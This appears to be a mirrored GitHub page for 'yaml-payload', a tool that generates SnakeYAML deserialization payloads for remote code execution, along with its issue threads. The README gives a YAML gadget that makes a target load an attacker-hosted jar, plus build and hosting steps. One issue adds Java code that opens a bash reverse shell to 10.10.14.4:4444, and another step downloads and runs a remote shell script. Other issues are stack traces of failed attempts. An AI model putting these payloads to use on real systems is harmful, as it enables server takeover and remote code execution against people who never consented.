artsploit / yaml-payload Goto Github PK

A tiny project for generating SnakeYAML deserialization payloads

Java 100.00%

yaml-payload's Introduction

A tiny project for generating payloads for the SnakeYAML deserialization gadget (taken from https://github.com/mbechler/marshalsec):

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]

Put the java code you want execute into AwesomeScriptEngineFactory.java and compile:

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Then place the 'yaml-payload.jar' file in to the web server folder (e.g. artsploit.com/yaml-payload.jar)

yaml-payload's People

Contributors

Stargazers

Watchers

Forkers

test123test111 f0rmatting lewerkun arongmh jusorlee b1ngz adamloveve redwifiteam benhe119 parzival-3 ianxtianxt omiter w20di harry1080 c0d1007 raystyle triplekill 5l1v3r1 codingli lovemygit khan-di agelovito devilmaycrying pyking mohinparamasivam fdlucifer lsnakazone jordyv oscpbox vnishchay ismilent ios1024 starjammers ilinxz lucifielhack kyle-jeynes foreign-entity-11 handyteddy sala2000 eduriel kastahl db131 sing0 crackercat xiuchundu woaiqiukui iamanubhavsaini daveqqq david4096 baisesecxxx whesyar rainclown cldrn fanyibo2009 hissec rassec cy9nusg4rd3n allblue147 5ty4ck tieupham267 supejkj pear1y lovelj520 ddarix zz123456987 cream-sec nanaao 7ock libaizaishuijiao ofalwl tomatoees 25344xiaoning lay0us riijj kz-cyber afwu di0xide-u mygit2014 ecawen daxiong1949 janit8r purewatersun msr00t ba3s sec-fork bngw sobinge mijobar p1514 6cyril mygit2014aaa davidliu88 linliying1 madaharce java-sec huaguangyu werwolfz googlei1996 ickogz qppstart

yaml-payload's Issues

Additional Payloads

Additional Examples of Payloads:
yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java

public AwesomeScriptEngineFactory() {
    String [] cmd={"bash","-c","bash -i >& /dev/tcp/10.10.14.4/4444 0>&1"};
    String [] jex={"bash","-c","{echo,$(echo -n $cmd | base64)}|{base64,-d}|{bash,-i}"};
    try {
        Runtime.getRuntime().exec(cmd);
        Runtime.getRuntime().exec(jex);
        Runtime.getRuntime().exec("echo $jex");
    } catch (IOException e) {
        e.printStackTrace();
    }
}

Putting a try-catch around every command:

public AwesomeScriptEngineFactory() {
    RunCmd("curl 10.10.14.4/shell.sh -o /tmp/shell.sh");
    RunCmd("bash /tmp/shell.sh");
}

public String RunCmd(String Cmd) {
    try {
        Runtime.getRuntime().exec(Cmd);
    } catch (IOException e) {
        e.printStackTrace();
    }
    return null;
}

Can't construct a java object for tag:yaml.org,2002:javax.script.ScriptEngineManager

Type Exception Report

Message Can't construct a java object for tag:yaml.org,2002:javax.script.ScriptEngineManager; exception=java.lang.reflect.InvocationTargetException

Description The server encountered an unexpected condition that prevented it from fulfilling the request.

Exception

Can't construct a java object for tag:yaml.org,2002:javax.script.ScriptEngineManager; exception=java.lang.reflect.InvocationTargetException
in 'string', line 1, column 1:
!!javax.script.ScriptEngineManager [
^

org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:335)
org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
Servlet.doPost(Servlet.java:15)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)

Root Cause

org.yaml.snakeyaml.error.YAMLException: java.lang.reflect.InvocationTargetException
org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:572)
org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
Servlet.doPost(Servlet.java:15)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)

Root Cause

java.lang.reflect.InvocationTargetException
java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:490)
org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:570)
org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
Servlet.doPost(Servlet.java:15)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)

Root Cause

java.lang.NoClassDefFoundError: artsploit/AwesomeScriptEngineFactory (wrong name: exploit/AwesomeScriptEngineFactory)
java.base/java.lang.ClassLoader.defineClass1(Native Method)
java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1017)
java.base/java.security.SecureClassLoader.defineClass(SecureClassLoader.java:174)
java.base/java.net.URLClassLoader.defineClass(URLClassLoader.java:550)
java.base/java.net.URLClassLoader$1.run(URLClassLoader.java:458)
java.base/java.net.URLClassLoader$1.run(URLClassLoader.java:452)
java.base/java.security.AccessController.doPrivileged(Native Method)
java.base/java.net.URLClassLoader.findClass(URLClassLoader.java:451)
java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:589)
java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:522)
java.base/java.lang.Class.forName0(Native Method)
java.base/java.lang.Class.forName(Class.java:398)
java.base/java.util.ServiceLoader$LazyClassPathLookupIterator.nextProviderClass(ServiceLoader.java:1209)
java.base/java.util.ServiceLoader$LazyClassPathLookupIterator.hasNextService(ServiceLoader.java:1220)
java.base/java.util.ServiceLoader$LazyClassPathLookupIterator.hasNext(ServiceLoader.java:1264)
java.base/java.util.ServiceLoader$2.hasNext(ServiceLoader.java:1299)
java.base/java.util.ServiceLoader$3.hasNext(ServiceLoader.java:1384)
java.scripting/javax.script.ScriptEngineManager.initEngines(ScriptEngineManager.java:123)
java.scripting/javax.script.ScriptEngineManager.init(ScriptEngineManager.java:87)
java.scripting/javax.script.ScriptEngineManager.(ScriptEngineManager.java:75)
java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:490)
org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:570)
org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
Servlet.doPost(Servlet.java:15)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)

Note The full stack trace of the root cause is available in the server logs.
Apache Tomcat/9.0.38

Demo used a deprecated Java version to build executable that no longer works with modern Java versions

Just to add a note. If you follow the steps from the main page it will build the file using more modern Java versions. If you try to execute it you might find an error: artsploit/AwesomeScriptEngineFactory has been compiled by a more recent version of the Java Runtime (class file version 61.0), this version of the Java Runtime only recognizes class file versions up to 55.0.

To fix this, just try to build the file with that deprecated version:

javac -source 8 -target 8 src/artsploit/AwesomeScriptEngineFactory.java

and then just follow the steps as the original post explained.

Cannot load such file -- highline/import (LoadError)

kali@kali:~/Drupalgeddon2$ ruby drupalgeddon2.rb http://10.10.10.233
Traceback (most recent call last):
2: from drupalgeddon2.rb:16:in <main>' 1: from /usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in require'
/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require': cannot load such file -- highline/import (LoadError)

Can't construct a java object for tag:yaml.org,2002:java.net.URL

Running with Spring Boot (v2.2.1.RELEASE), this technique seems to fail at the Snakeyaml invocation when attempted to pass a string to java.net.URL (at least on my machine with a test application running).

The relevant output is here:

Caused by: org.yaml.snakeyaml.constructor.ConstructorException: Can't construct a java object for tag:yaml.org,2002:java.net.URL; exception=java.lang.IllegalArgumentException: argument type mismatch
 in 'reader', line 3, column 5:
        !!java.net.URL ["http://artsploi ... 
        ^

Full log output is here:

java.lang.IllegalStateException: Failed to load property source from location 'http://[REDACTED]:9229/yaml-payload.yml'
        at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.load(ConfigFileApplicationListener.java:545) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.load(ConfigFileApplicationListener.java:452) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.lambda$null$7(ConfigFileApplicationListener.java:443) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at java.base/java.util.Collections$SingletonSet.forEach(Collections.java:4797) ~[na:na]
        at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.lambda$load$8(ConfigFileApplicationListener.java:443) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at java.base/java.lang.Iterable.forEach(Iterable.java:75) ~[na:na]
        at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.load(ConfigFileApplicationListener.java:440) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.lambda$load$0(ConfigFileApplicationListener.java:335) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.FilteredPropertySource.apply(FilteredPropertySource.java:59) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.load(ConfigFileApplicationListener.java:323) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.ConfigFileApplicationListener.addPropertySources(ConfigFileApplicationListener.java:214) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.ConfigFileApplicationListener.postProcessEnvironment(ConfigFileApplicationListener.java:198) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.ConfigFileApplicationListener.onApplicationEnvironmentPreparedEvent(ConfigFileApplicationListener.java:188) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.ConfigFileApplicationListener.onApplicationEvent(ConfigFileApplicationListener.java:176) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:172) ~[spring-context-5.2.1.RELEASE.jar!/:5.2.1.RELEASE]
        at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:165) ~[spring-context-5.2.1.RELEASE.jar!/:5.2.1.RELEASE]
        at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:139) ~[spring-context-5.2.1.RELEASE.jar!/:5.2.1.RELEASE]
        at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:127) ~[spring-context-5.2.1.RELEASE.jar!/:5.2.1.RELEASE]
        at org.springframework.boot.context.event.EventPublishingRunListener.environmentPrepared(EventPublishingRunListener.java:76) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.SpringApplicationRunListeners.environmentPrepared(SpringApplicationRunListeners.java:53) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.SpringApplication.prepareEnvironment(SpringApplication.java:345) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.SpringApplication.run(SpringApplication.java:308) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.builder.SpringApplicationBuilder.run(SpringApplicationBuilder.java:140) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.cloud.bootstrap.BootstrapApplicationListener.bootstrapServiceContext(BootstrapApplicationListener.java:203) ~[spring-cloud-context-2.1.4.RELEASE.jar!/:2.1.4.RELEASE]
        at org.springframework.cloud.bootstrap.BootstrapApplicationListener.onApplicationEvent(BootstrapApplicationListener.java:114) ~[spring-cloud-context-2.1.4.RELEASE.jar!/:2.1.4.RELEASE]
        at org.springframework.cloud.bootstrap.BootstrapApplicationListener.onApplicationEvent(BootstrapApplicationListener.java:71) ~[spring-cloud-context-2.1.4.RELEASE.jar!/:2.1.4.RELEASE]
        at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:172) ~[spring-context-5.2.1.RELEASE.jar!/:5.2.1.RELEASE]
        at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:165) ~[spring-context-5.2.1.RELEASE.jar!/:5.2.1.RELEASE]
        at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:139) ~[spring-context-5.2.1.RELEASE.jar!/:5.2.1.RELEASE]
        at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:127) ~[spring-context-5.2.1.RELEASE.jar!/:5.2.1.RELEASE]
        at org.springframework.boot.context.event.EventPublishingRunListener.environmentPrepared(EventPublishingRunListener.java:76) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.SpringApplicationRunListeners.environmentPrepared(SpringApplicationRunListeners.java:53) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.SpringApplication.prepareEnvironment(SpringApplication.java:345) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.SpringApplication.run(SpringApplication.java:308) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.cloud.context.restart.RestartEndpoint.doRestart(RestartEndpoint.java:133) ~[spring-cloud-context-2.1.4.RELEASE.jar!/:2.1.4.RELEASE]
        at org.springframework.cloud.context.restart.RestartEndpoint.safeRestart(RestartEndpoint.java:99) ~[spring-cloud-context-2.1.4.RELEASE.jar!/:2.1.4.RELEASE]
        at java.base/java.lang.Thread.run(Thread.java:834) ~[na:na]
Caused by: org.yaml.snakeyaml.constructor.ConstructorException: Can't construct a java object for tag:yaml.org,2002:java.net.URL; exception=java.lang.IllegalArgumentException: argument type mismatch
 in 'reader', line 3, column 5:
        !!java.net.URL ["http://artsploi ... 
        ^

        at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:314) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:216) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:205) ~[snakeyaml-1.25.jar!/:na]
        at org.springframework.boot.env.OriginTrackedYamlLoader$OriginTrackingConstructor.constructObject(OriginTrackedYamlLoader.java:94) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructArrayStep2(BaseConstructor.java:390) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructArray(BaseConstructor.java:371) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:522) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:216) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:205) ~[snakeyaml-1.25.jar!/:na]
        at org.springframework.boot.env.OriginTrackedYamlLoader$OriginTrackingConstructor.constructObject(OriginTrackedYamlLoader.java:94) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:543) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:309) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:216) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:205) ~[snakeyaml-1.25.jar!/:na]
        at org.springframework.boot.env.OriginTrackedYamlLoader$OriginTrackingConstructor.constructObject(OriginTrackedYamlLoader.java:94) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:543) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:309) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:216) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:205) ~[snakeyaml-1.25.jar!/:na]
        at org.springframework.boot.env.OriginTrackedYamlLoader$OriginTrackingConstructor.constructObject(OriginTrackedYamlLoader.java:94) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:164) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.BaseConstructor.getData(BaseConstructor.java:129) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.Yaml$1.next(Yaml.java:548) ~[snakeyaml-1.25.jar!/:na]
        at org.springframework.beans.factory.config.YamlProcessor.process(YamlProcessor.java:160) ~[spring-beans-5.2.1.RELEASE.jar!/:5.2.1.RELEASE]
        at org.springframework.beans.factory.config.YamlProcessor.process(YamlProcessor.java:134) ~[spring-beans-5.2.1.RELEASE.jar!/:5.2.1.RELEASE]
        at org.springframework.boot.env.OriginTrackedYamlLoader.load(OriginTrackedYamlLoader.java:75) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.env.YamlPropertySourceLoader.load(YamlPropertySourceLoader.java:50) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.loadDocuments(ConfigFileApplicationListener.java:562) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.load(ConfigFileApplicationListener.java:518) ~[spring-boot-2.2.1.RELEASE.jar!/:2.2.1.RELEASE]
        ... 36 common frames omitted
Caused by: org.yaml.snakeyaml.error.YAMLException: java.lang.IllegalArgumentException: argument type mismatch
        at org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:550) ~[snakeyaml-1.25.jar!/:na]
        at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:309) ~[snakeyaml-1.25.jar!/:na]
        ... 64 common frames omitted
Caused by: java.lang.IllegalArgumentException: argument type mismatch
        at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) ~[na:na]
        at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) ~[na:na]
        at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) ~[na:na]
        at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:490) ~[na:na]
        at org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:548) ~[snakeyaml-1.25.jar!/:na]
        ... 65 common frames omitted

I have tried some basic debugging, for instance, replacing the contents of the yaml file with something like:

!!java.lang.String ["Please, work...."]

as well as trying other constructors for java.lang.String, all to no avail.

Recommend Projects

React

A declarative, efficient, and flexible JavaScript library for building user interfaces.
Vue.js

🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
Typescript

TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
TensorFlow

An Open Source Machine Learning Framework for Everyone
Django

The Web framework for perfectionists with deadlines.
Laravel

A PHP framework for web artisans
D3

Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

javascript

JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
web

Some thing interesting about web. New door for the world.
server

A server is a program made to process requests and deliver data to clients.
Machine learning

Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Visualization

Some thing interesting about visualization, use data art
Game

Some thing interesting about game, make everyone happy.

Recommend Org

Facebook

We are working to build community through open source technology. NB: members must have two-factor auth.
Microsoft

Open source projects and samples from Microsoft.
Google

Google ❤️ Open Source for everyone.
Alibaba

Alibaba Open Source for everyone
D3

Data-Driven Documents codes.
Tencent

China tencent open source team.